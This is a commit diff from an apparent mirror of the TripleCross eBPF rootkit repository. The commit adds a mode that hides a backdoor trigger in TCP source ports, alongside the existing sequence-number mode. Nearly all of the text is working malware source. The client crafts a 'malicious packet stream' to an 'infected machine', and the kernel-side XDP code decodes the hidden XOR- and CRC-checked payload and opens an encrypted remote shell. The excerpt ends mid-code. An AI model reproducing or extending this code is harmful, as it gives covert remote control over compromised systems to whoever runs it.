mirror of
https://github.com/h3xduck/TripleCross.git
synced 2025-12-17 07:33:07 +08:00
Added new hidden payload stream mode, now triggered using the source port. Fully integrated already, can select between that and seqnum in client. Both launch live encrypted shell via v3 backdoor
This commit is contained in:
Binary file not shown.
File diff suppressed because it is too large
Load Diff
BIN
src/bin/kit
BIN
src/bin/kit
Binary file not shown.
@@ -311,17 +311,31 @@ void hook_control_command(char* argv, int mode){
|
||||
}
|
||||
|
||||
//Rootkit backdoor V3 being used - Hive-like
|
||||
void activate_command_control_shell_encrypted_multi_packet(char* argv){
|
||||
void activate_command_control_shell_encrypted_multi_packet(char* argv, int mode){
|
||||
char* local_ip = getLocalIpAddress();
|
||||
printf("["KBLU"INFO"RESET"]""Victim IP selected: %s\n", argv);
|
||||
check_ip_address_format(argv);
|
||||
printf("["KBLU"INFO"RESET"]""Crafting malicious packet stream...\n");
|
||||
|
||||
//Stream of 3 packets, 4 bytes on each if using sequence numbers for hiding the payload
|
||||
stream_t stream = build_standard_packet_stream_empty_payload(CC_STREAM_TRIGGER_PAYLOAD_LEN/CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES, 8500, 9000, local_ip, argv);
|
||||
char *payload = calloc(CC_STREAM_TRIGGER_PAYLOAD_LEN, sizeof(char));
|
||||
//OR stream of 6 packets, 2 bytes each
|
||||
//Decide depending on selected mode
|
||||
int PAYLOAD_LEN, PACKET_CAPACITY;
|
||||
if(mode == CLIENT_MULTI_PACKET_TRIGGER_MODE_SEQ_NUM){
|
||||
PAYLOAD_LEN = CC_STREAM_TRIGGER_PAYLOAD_LEN_MODE_SEQ_NUM;
|
||||
PACKET_CAPACITY = CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SEQ_NUM;
|
||||
}else if(mode== CLIENT_MULTI_PACKET_TRIGGER_MODE_SRC_PORT){
|
||||
PAYLOAD_LEN = CC_STREAM_TRIGGER_PAYLOAD_LEN_MODE_SRC_PORT;
|
||||
PACKET_CAPACITY = CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SRC_PORT;
|
||||
}else{
|
||||
printf("["KRED"ERROR"RESET"]""An error occured with the selected mode of payload injection");
|
||||
return;
|
||||
}
|
||||
|
||||
stream_t stream = build_standard_packet_stream_empty_payload(PAYLOAD_LEN/PACKET_CAPACITY, 8500, 9000, local_ip, argv);
|
||||
char *payload = calloc(PAYLOAD_LEN, sizeof(char));
|
||||
srand(time(NULL));
|
||||
for(int ii=0; ii<CC_STREAM_TRIGGER_PAYLOAD_LEN; ii++){
|
||||
for(int ii=0; ii<PAYLOAD_LEN; ii++){
|
||||
payload[ii] = (char)rand();
|
||||
}
|
||||
inet_pton(AF_INET, argv, (void*)(payload+0x01));
|
||||
@@ -333,28 +347,23 @@ void activate_command_control_shell_encrypted_multi_packet(char* argv){
|
||||
result[ii] = payload[0x05+ii] ^ key[ii];
|
||||
printf("R:%x, P5:%x, K3:%x\n", result[ii], payload[0x05+ii], key[ii]);
|
||||
}
|
||||
printf("Payload before XOR: ");
|
||||
for(int ii=0; ii<CC_STREAM_TRIGGER_PAYLOAD_LEN; ii++){
|
||||
printf("%x ", payload[ii]);
|
||||
}
|
||||
printf("\n");
|
||||
memcpy(payload+0x08, result, 0x02);
|
||||
char* payload_p = payload;
|
||||
uint16_t crc = crc16(payload_p, 10);
|
||||
memcpy(payload+0x0A, (char*)&crc, 0x02);
|
||||
printf("Payload before XOR: ");
|
||||
for(int ii=0; ii<CC_STREAM_TRIGGER_PAYLOAD_LEN; ii++){
|
||||
for(int ii=0; ii<PAYLOAD_LEN; ii++){
|
||||
printf("%x ", payload[ii]);
|
||||
}
|
||||
printf("\n");
|
||||
//Rolling xor
|
||||
for(int ii=1; ii<CC_STREAM_TRIGGER_PAYLOAD_LEN; ii++){
|
||||
for(int ii=1; ii<PAYLOAD_LEN; ii++){
|
||||
char xor_res = payload[ii-1] ^ payload[ii];
|
||||
memcpy(payload+ii, (char*)&(xor_res), 0x01);
|
||||
}
|
||||
|
||||
printf("Payload after XOR: ");
|
||||
for(int ii=0; ii<CC_STREAM_TRIGGER_PAYLOAD_LEN; ii++){
|
||||
for(int ii=0; ii<PAYLOAD_LEN; ii++){
|
||||
printf("%x ", payload[ii]);
|
||||
}
|
||||
printf("\n");
|
||||
@@ -364,7 +373,11 @@ void activate_command_control_shell_encrypted_multi_packet(char* argv){
|
||||
set_TCP_flags(*(stream.packet_stream+ii*(sizeof(packet_t))), 0x02);
|
||||
}
|
||||
//Injecting payload in the stream
|
||||
stream_inject(stream, TYPE_TCP_SEQ_RAW, payload, CC_STREAM_TRIGGER_PAYLOAD_LEN);
|
||||
if(mode==CLIENT_MULTI_PACKET_TRIGGER_MODE_SEQ_NUM){
|
||||
stream_inject(stream, TYPE_TCP_SEQ_RAW, payload, PAYLOAD_LEN);
|
||||
}else if(mode==CLIENT_MULTI_PACKET_TRIGGER_MODE_SRC_PORT){
|
||||
stream_inject(stream, TYPE_TCP_SRC_PORT, payload, PAYLOAD_LEN);
|
||||
}
|
||||
|
||||
printf("["KBLU"INFO"RESET"]""Sending malicious packet to infected machine...\n");
|
||||
//Sending the malicious stream of packets with the hidden payload
|
||||
@@ -464,7 +477,22 @@ void main(int argc, char* argv[]){
|
||||
printf("["KBLU"INFO"RESET"]""Activating COMMAND & CONTROL with MULTI-PACKET backdoor trigger\n");
|
||||
//printf("Option S has argument %s\n", optarg);
|
||||
strcpy(dest_address, optarg);
|
||||
activate_command_control_shell_encrypted_multi_packet(dest_address);
|
||||
char buf[BUFSIZ];
|
||||
int mode = -1;
|
||||
while(mode<0){
|
||||
printf(">> Where to hide the payload? Select a number: \n\t1. SEQNUM\n\t2. SRCPORT\nOption: ");
|
||||
fgets(buf, BUFSIZ, stdin);
|
||||
if ((strlen(buf)>0) && (buf[strlen(buf)-1] == '\n')){
|
||||
buf[strlen(buf)-1] = '\0';
|
||||
}
|
||||
if(strncmp(buf, "1", 6)==0){
|
||||
mode = CLIENT_MULTI_PACKET_TRIGGER_MODE_SEQ_NUM;
|
||||
}else if(strncmp(buf, "2", 7)==0){
|
||||
mode = CLIENT_MULTI_PACKET_TRIGGER_MODE_SRC_PORT;
|
||||
}
|
||||
}
|
||||
|
||||
activate_command_control_shell_encrypted_multi_packet(dest_address, mode);
|
||||
PARAM_MODULE_ACTIVATED = 1;
|
||||
|
||||
break;
|
||||
|
||||
Binary file not shown.
@@ -27,6 +27,9 @@ int client_mode = CLIENT_MODE_LIVE_COMMAND;
|
||||
|
||||
#define GC_SERVER_CLOSE_CONN "EXIT"
|
||||
|
||||
#define CLIENT_MULTI_PACKET_TRIGGER_MODE_SEQ_NUM 0
|
||||
#define CLIENT_MULTI_PACKET_TRIGGER_MODE_SRC_PORT 1
|
||||
|
||||
|
||||
/**
|
||||
* @brief Manages the result of a possible global command understood by the client overall
|
||||
|
||||
Binary file not shown.
@@ -26,11 +26,16 @@
|
||||
#define CC_PROT_COMMAND_HOOK_DEACTIVATE_ALL 2
|
||||
|
||||
//C&C V3 -- Distributed hidden payload in packet stream + encrypted shell
|
||||
struct trigger_t {
|
||||
struct trigger_32_t {
|
||||
unsigned int seq_raw;
|
||||
};
|
||||
#define CC_STREAM_TRIGGER_PAYLOAD_LEN 12
|
||||
#define CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES 4
|
||||
struct trigger_16_t {
|
||||
unsigned short src_port;
|
||||
};
|
||||
#define CC_STREAM_TRIGGER_PAYLOAD_LEN_MODE_SEQ_NUM 12
|
||||
#define CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SEQ_NUM 4
|
||||
#define CC_STREAM_TRIGGER_PAYLOAD_LEN_MODE_SRC_PORT 12
|
||||
#define CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SRC_PORT 2
|
||||
#define CC_STREAM_TRIGGER_KEY_ENCRYPTED_SHELL CC_TRIGGER_SYN_PACKET_KEY_3_ENCRYPTED_SHELL
|
||||
|
||||
|
||||
|
||||
@@ -34,9 +34,14 @@ struct exec_var_hijack_active_data{//Map value
|
||||
};
|
||||
|
||||
//Map value, contains 3 last packets from an specific IP (the key)
|
||||
struct backdoor_packet_log_data{
|
||||
struct backdoor_packet_log_data_32{
|
||||
int last_packet_modified;
|
||||
struct trigger_t trigger_array[3];
|
||||
struct trigger_32_t trigger_array[3];
|
||||
};
|
||||
//Map value, contains 6 last packets from an specific IP (the key)
|
||||
struct backdoor_packet_log_data_16{
|
||||
int last_packet_modified;
|
||||
struct trigger_16_t trigger_array[6];
|
||||
};
|
||||
|
||||
|
||||
@@ -55,12 +60,18 @@ struct exec_var_priv_hijack_active{ //Map
|
||||
} exec_var_hijack_active SEC(".maps");
|
||||
|
||||
//Map to store log of packets received seeking to find a V3 backdoor trigger
|
||||
struct backdoor_priv_packet_log{
|
||||
struct backdoor_priv_packet_log_32{
|
||||
__uint(type, BPF_MAP_TYPE_HASH);
|
||||
__uint(max_entries, 1024);
|
||||
__type(key, __u32); //Source IPv4 of packet
|
||||
__type(value, struct backdoor_packet_log_data);
|
||||
} backdoor_packet_log SEC(".maps");
|
||||
__type(value, struct backdoor_packet_log_data_32);
|
||||
} backdoor_packet_log_32 SEC(".maps");
|
||||
struct backdoor_priv_packet_log_16{
|
||||
__uint(type, BPF_MAP_TYPE_HASH);
|
||||
__uint(max_entries, 1024);
|
||||
__type(key, __u32); //Source IPv4 of packet
|
||||
__type(value, struct backdoor_packet_log_data_16);
|
||||
} backdoor_packet_log_16 SEC(".maps");
|
||||
|
||||
|
||||
/*PROTECTED MAPS*/
|
||||
|
||||
@@ -143,7 +143,14 @@ backdoor_finish:
|
||||
}
|
||||
|
||||
|
||||
static __always_inline int manage_backdoor_trigger_v3(struct backdoor_packet_log_data b_data){
|
||||
/**
|
||||
* @brief Operates the V3 backdoor, and opens an encrypted shell if succeeds
|
||||
*Returns 1 if it wants to close to discard the ongoing packet.
|
||||
*
|
||||
* @param b_data
|
||||
* @return __always_inline
|
||||
*/
|
||||
static __always_inline int manage_backdoor_trigger_v3_32(struct backdoor_packet_log_data_32 b_data){
|
||||
int last_received = b_data.last_packet_modified;
|
||||
int first_packet;
|
||||
if(last_received>=0&&last_received<2){
|
||||
@@ -154,51 +161,51 @@ static __always_inline int manage_backdoor_trigger_v3(struct backdoor_packet_log
|
||||
|
||||
//The following routine (not just the next check) is necessarily dirty in terms of programming,
|
||||
//but the ebpf verifier strongly dislikes MOD operations (check report, screenshot)
|
||||
char payload[CC_STREAM_TRIGGER_PAYLOAD_LEN] = {0};
|
||||
char payload[CC_STREAM_TRIGGER_PAYLOAD_LEN_MODE_SEQ_NUM] = {0};
|
||||
if(first_packet == 0){
|
||||
for(int ii=first_packet; ii<3; ii++){
|
||||
__u32 seq_num = b_data.trigger_array[ii].seq_raw;
|
||||
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES*ii), &(seq_num), sizeof(__u32));
|
||||
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SEQ_NUM*ii), &(seq_num), sizeof(__u32));
|
||||
}
|
||||
for(int ii=0; ii<first_packet; ii++){
|
||||
__u32 seq_num = b_data.trigger_array[ii].seq_raw;
|
||||
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES*ii), &(seq_num), sizeof(__u32));
|
||||
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SEQ_NUM*ii), &(seq_num), sizeof(__u32));
|
||||
}
|
||||
}else if(first_packet == 1){
|
||||
for(int ii=first_packet; ii<3; ii++){
|
||||
__u32 seq_num = b_data.trigger_array[ii].seq_raw;
|
||||
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES*ii), &(seq_num), sizeof(__u32));
|
||||
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SEQ_NUM*ii), &(seq_num), sizeof(__u32));
|
||||
}
|
||||
for(int ii=0; ii<first_packet; ii++){
|
||||
__u32 seq_num = b_data.trigger_array[ii].seq_raw;
|
||||
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES*ii), &(seq_num), sizeof(__u32));
|
||||
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SEQ_NUM*ii), &(seq_num), sizeof(__u32));
|
||||
}
|
||||
}else if(first_packet == 2){
|
||||
for(int ii=first_packet; ii<3; ii++){
|
||||
__u32 seq_num = b_data.trigger_array[ii].seq_raw;
|
||||
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES*ii), &(seq_num), sizeof(__u32));
|
||||
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SEQ_NUM*ii), &(seq_num), sizeof(__u32));
|
||||
}
|
||||
for(int ii=0; ii<first_packet; ii++){
|
||||
__u32 seq_num = b_data.trigger_array[ii].seq_raw;
|
||||
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES*ii), &(seq_num), sizeof(__u32));
|
||||
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SEQ_NUM*ii), &(seq_num), sizeof(__u32));
|
||||
}
|
||||
}
|
||||
|
||||
bpf_printk("Payload before XOR: ");
|
||||
for(int ii=0; ii<CC_STREAM_TRIGGER_PAYLOAD_LEN; ii++){
|
||||
for(int ii=0; ii<CC_STREAM_TRIGGER_PAYLOAD_LEN_MODE_SEQ_NUM; ii++){
|
||||
bpf_printk("%x", payload[ii]);
|
||||
}
|
||||
bpf_printk("\n");
|
||||
|
||||
//Now that we have the possible complete stream, let's search for the secret backdoor combination in it
|
||||
//First undo running XOR
|
||||
for(int ii=CC_STREAM_TRIGGER_PAYLOAD_LEN-1; ii>0; ii--){
|
||||
for(int ii=CC_STREAM_TRIGGER_PAYLOAD_LEN_MODE_SEQ_NUM-1; ii>0; ii--){
|
||||
char xor_res = payload[ii-1] ^ payload[ii];
|
||||
__builtin_memcpy(payload+ii, (char*)&(xor_res), 0x01);
|
||||
}
|
||||
|
||||
bpf_printk("Payload after XOR: ");
|
||||
for(int ii=0; ii<CC_STREAM_TRIGGER_PAYLOAD_LEN; ii++){
|
||||
for(int ii=0; ii<CC_STREAM_TRIGGER_PAYLOAD_LEN_MODE_SEQ_NUM; ii++){
|
||||
bpf_printk("%x", payload[ii]);
|
||||
}
|
||||
bpf_printk("\n");
|
||||
@@ -220,12 +227,12 @@ static __always_inline int manage_backdoor_trigger_v3(struct backdoor_packet_log
|
||||
__builtin_memcpy(&crc_char1, (char*)&(crc), sizeof(__u8));
|
||||
__builtin_memcpy(&crc_char2, (char*)&(crc)+1, sizeof(__u8));
|
||||
if(crc_char1 != payload[0x0A]){
|
||||
bpf_printk("Failed backdoor V3 check 1: %x vs %x\n", crc_char1, payload[0x0A]);
|
||||
return XDP_PASS;
|
||||
bpf_printk("Failed backdoor V3 (32bit) check 1: %x vs %x\n", crc_char1, payload[0x0A]);
|
||||
return 0;
|
||||
}
|
||||
if(crc_char2 != payload[0x0B]){
|
||||
bpf_printk("Failed backdoor V3 check 2: %x vs %x\n", crc_char2, payload[0x0B]);
|
||||
return XDP_PASS;
|
||||
bpf_printk("Failed backdoor V3 (32bit) check 2: %x vs %x\n", crc_char2, payload[0x0B]);
|
||||
return 0;
|
||||
}
|
||||
|
||||
//Check the K3 used, that indicates the command issued, and whether it was a valid payload too
|
||||
@@ -253,12 +260,157 @@ backdoor_finish_v3:
|
||||
//Found no valid key 3
|
||||
if(correct==0){
|
||||
bpf_printk("FAIL CHECK 3\n");
|
||||
return XDP_PASS;
|
||||
return 0;
|
||||
}
|
||||
bpf_printk("Completed backdoor trigger v3, b_data position: %i\n", b_data.last_packet_modified);
|
||||
bpf_printk("Completed backdoor trigger v3 (32bit), b_data position: %i\n", b_data.last_packet_modified);
|
||||
execute_key_command(command_received);
|
||||
|
||||
return XDP_DROP;
|
||||
return 1;
|
||||
}
|
||||
|
||||
static __always_inline int manage_backdoor_trigger_v3_16(struct backdoor_packet_log_data_16 b_data){
|
||||
int last_received = b_data.last_packet_modified;
|
||||
int first_packet;
|
||||
if(last_received>=0&&last_received<5){
|
||||
first_packet = last_received+1;
|
||||
}else{
|
||||
first_packet = 0;
|
||||
}
|
||||
|
||||
//The following routine is necessarily dirty in terms of programming,
|
||||
//but the ebpf verifier strongly dislikes MOD operations (check report, screenshot)
|
||||
char payload[CC_STREAM_TRIGGER_PAYLOAD_LEN_MODE_SRC_PORT] = {0};
|
||||
if(first_packet == 0){
|
||||
for(int ii=first_packet; ii<6; ii++){
|
||||
__u16 src_port = b_data.trigger_array[ii].src_port;
|
||||
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SRC_PORT*ii), &(src_port), sizeof(__u16));
|
||||
}
|
||||
for(int ii=0; ii<first_packet; ii++){
|
||||
__u16 src_port = b_data.trigger_array[ii].src_port;
|
||||
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SRC_PORT*ii), &(src_port), sizeof(__u16));
|
||||
}
|
||||
}else if(first_packet == 1){
|
||||
for(int ii=first_packet; ii<6; ii++){
|
||||
__u16 src_port = b_data.trigger_array[ii].src_port;
|
||||
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SRC_PORT*ii), &(src_port), sizeof(__u16));
|
||||
}
|
||||
for(int ii=0; ii<first_packet; ii++){
|
||||
__u16 src_port = b_data.trigger_array[ii].src_port;
|
||||
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SRC_PORT*ii), &(src_port), sizeof(__u16));
|
||||
}
|
||||
}else if(first_packet == 2){
|
||||
for(int ii=first_packet; ii<6; ii++){
|
||||
__u16 src_port = b_data.trigger_array[ii].src_port;
|
||||
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SRC_PORT*ii), &(src_port), sizeof(__u16));
|
||||
}
|
||||
for(int ii=0; ii<first_packet; ii++){
|
||||
__u16 src_port = b_data.trigger_array[ii].src_port;
|
||||
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SRC_PORT*ii), &(src_port), sizeof(__u16));
|
||||
}
|
||||
}else if(first_packet == 3){
|
||||
for(int ii=first_packet; ii<6; ii++){
|
||||
__u16 src_port = b_data.trigger_array[ii].src_port;
|
||||
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SRC_PORT*ii), &(src_port), sizeof(__u16));
|
||||
}
|
||||
for(int ii=0; ii<first_packet; ii++){
|
||||
__u16 src_port = b_data.trigger_array[ii].src_port;
|
||||
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SRC_PORT*ii), &(src_port), sizeof(__u16));
|
||||
}
|
||||
}else if(first_packet == 4){
|
||||
for(int ii=first_packet; ii<6; ii++){
|
||||
__u16 src_port = b_data.trigger_array[ii].src_port;
|
||||
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SRC_PORT*ii), &(src_port), sizeof(__u16));
|
||||
}
|
||||
for(int ii=0; ii<first_packet; ii++){
|
||||
__u16 src_port = b_data.trigger_array[ii].src_port;
|
||||
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SRC_PORT*ii), &(src_port), sizeof(__u16));
|
||||
}
|
||||
}else if(first_packet == 5){
|
||||
for(int ii=first_packet; ii<6; ii++){
|
||||
__u16 src_port = b_data.trigger_array[ii].src_port;
|
||||
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SRC_PORT*ii), &(src_port), sizeof(__u16));
|
||||
}
|
||||
for(int ii=0; ii<first_packet; ii++){
|
||||
__u16 src_port = b_data.trigger_array[ii].src_port;
|
||||
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SRC_PORT*ii), &(src_port), sizeof(__u16));
|
||||
}
|
||||
}
|
||||
|
||||
bpf_printk("Payload before XOR: ");
|
||||
for(int ii=0; ii<CC_STREAM_TRIGGER_PAYLOAD_LEN_MODE_SRC_PORT; ii++){
|
||||
bpf_printk("%x", payload[ii]);
|
||||
}
|
||||
bpf_printk("\n");
|
||||
|
||||
//Now that we have the possible complete stream, let's search for the secret backdoor combination in it
|
||||
//First undo running XOR
|
||||
for(int ii=CC_STREAM_TRIGGER_PAYLOAD_LEN_MODE_SRC_PORT-1; ii>0; ii--){
|
||||
char xor_res = payload[ii-1] ^ payload[ii];
|
||||
__builtin_memcpy(payload+ii, (char*)&(xor_res), 0x01);
|
||||
}
|
||||
|
||||
bpf_printk("Payload after XOR: ");
|
||||
for(int ii=0; ii<CC_STREAM_TRIGGER_PAYLOAD_LEN_MODE_SRC_PORT; ii++){
|
||||
bpf_printk("%x", payload[ii]);
|
||||
}
|
||||
bpf_printk("\n");
|
||||
|
||||
//Now compute CRC
|
||||
__u8 x;
|
||||
__u16 crc = 0xFFFF;
|
||||
__u8 length = 0x0A;
|
||||
char *payload_p = payload;
|
||||
|
||||
while (length--){
|
||||
x = crc >> 8 ^ *payload_p++;
|
||||
x ^= x>>4;
|
||||
crc = (crc << 8) ^ ((__u16)(x << 12)) ^ ((__u16)(x <<5)) ^ ((__u16)x);
|
||||
}
|
||||
|
||||
//Check CRC with the one received
|
||||
char crc_char1, crc_char2;
|
||||
__builtin_memcpy(&crc_char1, (char*)&(crc), sizeof(__u8));
|
||||
__builtin_memcpy(&crc_char2, (char*)&(crc)+1, sizeof(__u8));
|
||||
if(crc_char1 != payload[0x0A]){
|
||||
bpf_printk("Failed backdoor V3 (16bit) check 1 in %i: %x vs %x\n", last_received, crc_char1, payload[0x0A]);
|
||||
return 0;
|
||||
}
|
||||
if(crc_char2 != payload[0x0B]){
|
||||
bpf_printk("Failed backdoor V3 (16bit) check 2: %x vs %x\n", crc_char2, payload[0x0B]);
|
||||
return 0;
|
||||
}
|
||||
|
||||
//Check the K3 used, that indicates the command issued, and whether it was a valid payload too
|
||||
char key3[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
|
||||
char result[CC_TRIGGER_SYN_PACKET_SECTION_LEN+1];
|
||||
int correct = 1;
|
||||
int command_received = -1;
|
||||
//Encrypted shell request
|
||||
__builtin_memcpy(key3, CC_STREAM_TRIGGER_KEY_ENCRYPTED_SHELL, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
for(int ii=0; ii<CC_TRIGGER_SYN_PACKET_SECTION_LEN; ii++){
|
||||
result[ii] = payload[0x05+ii] ^ payload[0x08+ii];
|
||||
if(result[ii]!=(key3[ii])){
|
||||
bpf_printk("R: %x, K3:%x", result[ii], key3[ii]);
|
||||
bpf_printk("P5:%x, P8:%x\n", payload[0x05+ii], payload[0x08+ii]);
|
||||
correct = 0;
|
||||
}
|
||||
}
|
||||
if(correct == 1){
|
||||
//Found valid k3 value
|
||||
command_received = CC_PROT_COMMAND_ENCRYPTED_SHELL;
|
||||
goto backdoor_finish_v3;
|
||||
}
|
||||
|
||||
backdoor_finish_v3:
|
||||
//Found no valid key 3
|
||||
if(correct==0){
|
||||
bpf_printk("FAIL CHECK 3\n");
|
||||
return 0;
|
||||
}
|
||||
bpf_printk("Completed backdoor trigger v3 (16bit), b_data position: %i\n", b_data.last_packet_modified);
|
||||
execute_key_command(command_received);
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
#endif
|
||||
@@ -108,47 +108,100 @@ int xdp_receive(struct xdp_md *ctx){
|
||||
}
|
||||
//Check for rootkit backdoor trigger V3 - stream of SYN packets with hidden payload
|
||||
if(tcp->syn == 1){
|
||||
//Now, we will need to take into account that payloads might be hidden in 32-bit fields or 16-bit ones.
|
||||
//Support has been added for:
|
||||
// 3-stream 32-bit field 16 payload triggers
|
||||
// 6-stream 16-bit field 16 payload triggers
|
||||
|
||||
////32-bit 6-len streams
|
||||
|
||||
//SYN packet detected, store in bpf map.
|
||||
//When a full stream comes, then it will be analyzed and search whether it is a valid sequence
|
||||
//Known issue, ignored dliberately: IP sending packets to different ports classified as same communication
|
||||
//This way we may include some port-knocking like mechanism.
|
||||
bpf_printk("SYN detected");
|
||||
__u32 ipvalue = ip->saddr;
|
||||
struct backdoor_packet_log_data *b_data = (struct backdoor_packet_log_data*) bpf_map_lookup_elem(&backdoor_packet_log, &ipvalue);
|
||||
struct backdoor_packet_log_data b_new_data = {0};
|
||||
if (b_data != NULL ){
|
||||
struct backdoor_packet_log_data_32 *b_data_32 = (struct backdoor_packet_log_data_32*) bpf_map_lookup_elem(&backdoor_packet_log_32, &ipvalue);
|
||||
struct backdoor_packet_log_data_32 b_new_data_32 = {0};
|
||||
|
||||
if (b_data_32 != NULL ){
|
||||
//Means first time this IP sends a packet to us
|
||||
//It is always between the below range, this is just to avoid verifier complains
|
||||
if(b_data->last_packet_modified>-1 && b_data->last_packet_modified<CC_STREAM_TRIGGER_PAYLOAD_LEN/CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES){
|
||||
b_new_data.last_packet_modified = b_data->last_packet_modified;
|
||||
if(b_data_32->last_packet_modified>-1 && b_data_32->last_packet_modified<CC_STREAM_TRIGGER_PAYLOAD_LEN_MODE_SEQ_NUM/CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SEQ_NUM){
|
||||
b_new_data_32.last_packet_modified = b_data_32->last_packet_modified;
|
||||
//Necessary complicated MOD, the verifier rejects it otherwise
|
||||
b_new_data.last_packet_modified++;
|
||||
if(b_new_data.last_packet_modified>=3){
|
||||
b_new_data.last_packet_modified = 0;
|
||||
b_new_data_32.last_packet_modified++;
|
||||
if(b_new_data_32.last_packet_modified>=3){
|
||||
b_new_data_32.last_packet_modified = 0;
|
||||
}
|
||||
b_new_data.trigger_array[0] = b_data->trigger_array[0];
|
||||
b_new_data.trigger_array[1] = b_data->trigger_array[1];
|
||||
b_new_data.trigger_array[2] = b_data->trigger_array[2];
|
||||
//bpf_probe_read(&b_new_data, sizeof(struct backdoor_packet_log_data), b_data);
|
||||
int last_modified = b_new_data.last_packet_modified;
|
||||
b_new_data_32.trigger_array[0] = b_data_32->trigger_array[0];
|
||||
b_new_data_32.trigger_array[1] = b_data_32->trigger_array[1];
|
||||
b_new_data_32.trigger_array[2] = b_data_32->trigger_array[2];
|
||||
//bpf_probe_read(&b_new_data, sizeof(struct backdoor_packet_log_data_32), b_data);
|
||||
int last_modified = b_new_data_32.last_packet_modified;
|
||||
//Yes, this is really needed to be done this way. Intervals are no sufficient
|
||||
if(last_modified != 0 && last_modified != 1 && last_modified != 2){
|
||||
return XDP_PASS;
|
||||
}
|
||||
b_new_data.trigger_array[last_modified].seq_raw = tcp->seq;
|
||||
bpf_map_update_elem(&backdoor_packet_log, &ipvalue, &b_new_data, BPF_ANY);
|
||||
b_new_data_32.trigger_array[last_modified].seq_raw = tcp->seq;
|
||||
bpf_map_update_elem(&backdoor_packet_log_32, &ipvalue, &b_new_data_32, BPF_ANY);
|
||||
//If it was not the first packet received, this may be the end of the backdoor sequence (even if previous packets
|
||||
//where for other purpose, we must still check it)
|
||||
return manage_backdoor_trigger_v3(b_new_data);
|
||||
int ret = manage_backdoor_trigger_v3_32(b_new_data_32);
|
||||
if(ret == 1){
|
||||
return XDP_DROP;
|
||||
}
|
||||
}
|
||||
}else{
|
||||
//Done this way to avoid verifier complains
|
||||
int num = 0;
|
||||
//bpf_probe_read((void*)&(b_new_data->last_packet_modified), sizeof(__u32), (void*)&num);
|
||||
//bpf_probe_read(&(b_new_data->trigger_array[0].seq_raw), sizeof(__u32), &(tcp->seq));
|
||||
b_new_data.last_packet_modified = 0;
|
||||
b_new_data.trigger_array[0].seq_raw = tcp->seq;
|
||||
bpf_map_update_elem(&backdoor_packet_log, &ipvalue, &b_new_data, BPF_ANY);
|
||||
b_new_data_32.last_packet_modified = 0;
|
||||
b_new_data_32.trigger_array[0].seq_raw = tcp->seq;
|
||||
bpf_map_update_elem(&backdoor_packet_log_32, &ipvalue, &b_new_data_32, BPF_ANY);
|
||||
}
|
||||
|
||||
|
||||
////16 bit 6-len streams
|
||||
struct backdoor_packet_log_data_16 *b_data_16 = (struct backdoor_packet_log_data_16*) bpf_map_lookup_elem(&backdoor_packet_log_16, &ipvalue);
|
||||
struct backdoor_packet_log_data_16 b_new_data_16 = {0};
|
||||
if (b_data_16 != NULL ){
|
||||
//Means first time this IP sends a packet to us
|
||||
//It is always between the below range, this is just to avoid verifier complains
|
||||
if(b_data_16->last_packet_modified>-1 && b_data_16->last_packet_modified<CC_STREAM_TRIGGER_PAYLOAD_LEN_MODE_SRC_PORT/CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SRC_PORT){
|
||||
b_new_data_16.last_packet_modified = b_data_16->last_packet_modified;
|
||||
//Necessary complicated MOD, the verifier rejects it otherwise
|
||||
b_new_data_16.last_packet_modified++;
|
||||
if(b_new_data_16.last_packet_modified>=6){
|
||||
b_new_data_16.last_packet_modified = 0;
|
||||
}
|
||||
b_new_data_16.trigger_array[0] = b_data_16->trigger_array[0];
|
||||
b_new_data_16.trigger_array[1] = b_data_16->trigger_array[1];
|
||||
b_new_data_16.trigger_array[2] = b_data_16->trigger_array[2];
|
||||
